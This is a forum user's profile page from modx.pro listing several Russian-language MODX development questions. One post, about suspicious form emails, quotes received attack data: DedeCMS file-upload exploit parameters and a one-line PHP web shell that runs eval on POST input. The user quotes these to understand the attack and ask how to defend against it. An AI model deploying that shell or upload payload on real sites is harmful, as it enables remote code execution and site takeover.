Dmitry

Dmitry

С нами с 28 сентября 2015; Место в рейтинге пользователей: #803

pdoTools: вывод списка ID (returnIds) и чанков одновременно

Привет, уважаемое сообщество.
Есть задача, решение которой мне никак не даётся. Нужно, чтобы pdoResources или pdoPage (в том числе при работе в рамках mFilter2) возвращали не только список ID (&return = `ids`) или чанки (как по умолчанию), а и то и другое (айди в виде плейсхолдера, чанки по умолчанию).
Например, если я фильтрую инфу при помощи mFilter2, мне нужно получить список всех ID документов выборки (причем не только этой страницы, но и вообще всего результата).
Буду благодарен за совет. Можно ли это реализовать без изменений в ядре pdoTools?
Dmitry
15 октября 2018, 19:16
modx.pro
989
0

Collections: запретить разворачивание контейнера

Всем привет!
Сталкивался ли кто-нибудь при работе с Collections с тем, что рядом со значком коллекции в дереве ресурсов все равно появляется стрелочка контейнера, а контейнер периодически при переходе на разные страницы админки разворачивается?.. Собственно говоря, смысл дополнения в том, чтобы скрывать дочерние ресурсы, и эта функция не срабатывает в должной мере. Буду благодарен за помощь с тем, как это пофиксить.
Dmitry
05 октября 2018, 15:43
modx.pro
569
0

Как использовать Fenom в шаблонах сниппетов?

Всем привет.
Вопрос простой, но я не могу найти примеров решения.
Есть пример вызова сниппета:
{'pdoResources' | snippet : [
                        'tpl' => 'card_tpl',
                        'parents' => '4',
                        'includeTVs' => 'images,price,params,tomain',
                        'limit' => '8',
                        'tvFilters' => 'tomain==1',
                        'processTVs' => '1'
                    ]}
Вопрос в том, как правильно составить чанк card_tpl. Плейсхолдеры TV-параметров в синтаксисе Fenom ({$price}, {$images}) не работают.
Спасибо за помощь.
Dmitry
19 сентября 2018, 14:24
modx.pro
2 038
0

Подозрительные письма

Всем привет!
На одном рабочем сайте есть простая форма заявки — телефон и имя. Работает через ajaxForm + FormIt.
Периодически через эту форму приходят письма с подобным содержанием:
cfg_softtype: php
cfg_mediatype: php
cfg_imgtype: php
cfg_not_allowall: txt
newname: asd.php
activepath: /data/cache/
f: form1.enclosure
cfg_basedir: ../../
job: upload
uploadfile: asd.php
Что интересно, в форме нет поля для файла, и не прописан enctype multipart/form-data. Но на почту, например, в этом письме, пришёл пхп-файл с содержанием:
<?php echo "dedecms";eval($_POST[0]);?>
Очевидно, что это какая-то попытка взлома. Но не совсем понятно, как именно это работает — вручную ли или автоматом, и какие могут быть последствия. Связано ли это с недавними взломами сайтов на модексе?
И главный вопрос — как защититься от такого?
Заранее спасибо за советы.
Dmitry
22 августа 2018, 14:28
modx.pro
545
0

Странное поведение MODx - кэшируется вывод сниппетов даже при полностью отключенном кэшировании

Приветствую!
Столкнулся со странным поведением MODx. Версия — 2.6.1. Хостинг — Reg.ru.
Странность заключается в том, что по какой-то причине кэшируется вывод сниппетов. Сниппет вызывается некэшируемым, даже для проверки отключен глобальный кэш Модекса. При этом после обновления и сохранения сниппета упорно выводится старая информация. При этом может произойти даже такое: обновил сниппет, очистил кэш (даже удалил core/cache), проверил сниппет — вывелась новая информация. Затем обновил пару раз страницу, и снова выводится старая.
Это происходит даже с элементарным сниппетом вида
<?php
return "Test";
Кто-нибудь сталкивался с подобным? Как пофиксить?
Dmitry
14 марта 2018, 10:29
modx.pro
949
0

Как добавить в корзину товар без создания ресурса?

Здравствуйте, уважаемые профессионалы!
Вопрос, подозреваю, нубский, но с minishop2 работу начал недавно, не успел вникнуть во всё. А задача срочная :)
Задача — добавлять в корзину товары, которые создаются «на лету», без создания ресурса товара. Сайт посылает запрос к определенному сервису по API, тот отдает ответ со списком товаров, товары выводятся на моем сайте в виде htm-таблички, они нигде не сохраняются, и выводятся только тогда, когда пользователь целенаправленно их ищет. Вот их-то и нужно добавлять в корзину. Буду благодарен за совет, как это сделать.
Dmitry
11 февраля 2018, 04:59
modx.pro
1 037
0

Создание неограниченного количества значений кастомных полей пользователем на фронте

Приветствую, уважаемое сообщество!
Есть такая задача: необходимо дать возможность юзерам в личном кабинете создавать в своем профиле неограниченное количество адресов (или других полей, к примеру, бывшие места работы, тут не принципиально).
Dmitry
04 февраля 2018, 16:55
modx.pro
1
1 094
0